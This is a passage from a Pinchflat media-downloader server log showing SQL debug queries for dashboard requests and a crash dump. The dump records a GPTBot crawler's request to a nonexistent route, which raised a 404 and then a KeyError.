"roku.hartupee.com", method: "GET", owner: #PID<0.10855.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_head (truncated) 16:26:27.156 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:57.157 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.732 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:27:02.478 [info] GET / 16:27:02.479 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 16:27:02.479 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=1526.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:02.479 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1526.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 16:27:02.480 [debug] QUERY OK source="sources" db=0.0ms idle=1527.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 16:27:02.486 [debug] QUERY OK source="media_items" db=6.2ms idle=933.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:27:02.487 [debug] QUERY OK source="media_items" db=0.5ms idle=533.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:27:02.487 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:02.487 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:02.487 [debug] QUERY OK source="settings" db=0.1ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:02.488 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:27:02.490 [debug] QUERY OK source="media_items" db=1.2ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:27:02.490 [debug] QUERY OK source="sources" db=0.0ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 16:27:02.494 [debug] QUERY OK source="media_items" db=3.4ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 16:27:02.497 [debug] QUERY OK source="media_items" db=3.5ms idle=6.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:27:02.498 [debug] QUERY OK source="tasks" db=0.1ms idle=9.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:27:02.498 [info] Sent 200 in 20ms 16:27:03.120 [info] GET / 16:27:03.120 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 16:27:03.120 [debug] QUERY OK source="settings" db=0.0ms idle=630.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:03.120 [debug] QUERY OK source="media_profiles" db=0.0ms idle=626.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 16:27:03.121 [debug] QUERY OK source="sources" db=0.0ms idle=623.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 16:27:03.121 [debug] QUERY OK source="media_items" db=0.7ms idle=622.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:27:03.122 [debug] QUERY OK source="media_items" db=0.1ms idle=574.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:27:03.122 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:03.122 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:03.122 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:03.123 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:27:03.124 [debug] QUERY OK source="media_items" db=1.0ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:27:03.124 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 16:27:03.126 [debug] QUERY OK source="media_items" db=1.5ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 16:27:03.128 [debug] QUERY OK source="media_items" db=1.4ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:27:03.128 [debug] QUERY OK source="tasks" db=0.1ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:27:03.129 [info] Sent 200 in 8ms 16:27:04.769 [info] GET / 16:27:04.769 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 16:27:04.769 [debug] QUERY OK source="settings" db=0.1ms idle=1642.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:04.769 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1641.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 16:27:04.769 [debug] QUERY OK source="sources" db=0.0ms idle=1641.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 16:27:04.773 [debug] QUERY OK source="media_items" db=3.5ms idle=1221.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:27:04.773 [debug] QUERY OK source="media_items" db=0.4ms idle=224.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:27:04.774 [debug] QUERY OK source="settings" db=0.0ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:04.774 [debug] QUERY OK source="settings" db=0.0ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:04.774 [debug] QUERY OK source="settings" db=0.0ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:04.775 [debug] QUERY OK source="media_items" db=0.3ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:27:04.777 [debug] QUERY OK source="media_items" db=2.7ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:27:04.778 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 16:27:04.780 [debug] QUERY OK source="media_items" db=2.3ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 16:27:04.783 [debug] QUERY OK source="media_items" db=2.2ms idle=6.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:27:04.783 [debug] QUERY OK source="tasks" db=0.1ms idle=8.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:27:04.783 [info] Sent 200 in 14ms 16:27:22.707 [info] GET /sources/1/force_download_pending 16:27:22.708 [debug] QUERY OK source="settings" db=0.3ms idle=754.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:22.708 [debug] QUERY OK source="settings" db=0.0ms idle=755.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:22.708 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:27:22.708 [error] #PID<0.10868.0> running PinchflatWeb.Endpoint (connection #PID<0.10867.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10867.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58500}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10868.0>, params: %{}, path_info: ["sources", "1", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVGlz17rcnd9dcAA-uB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10867.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58500}, 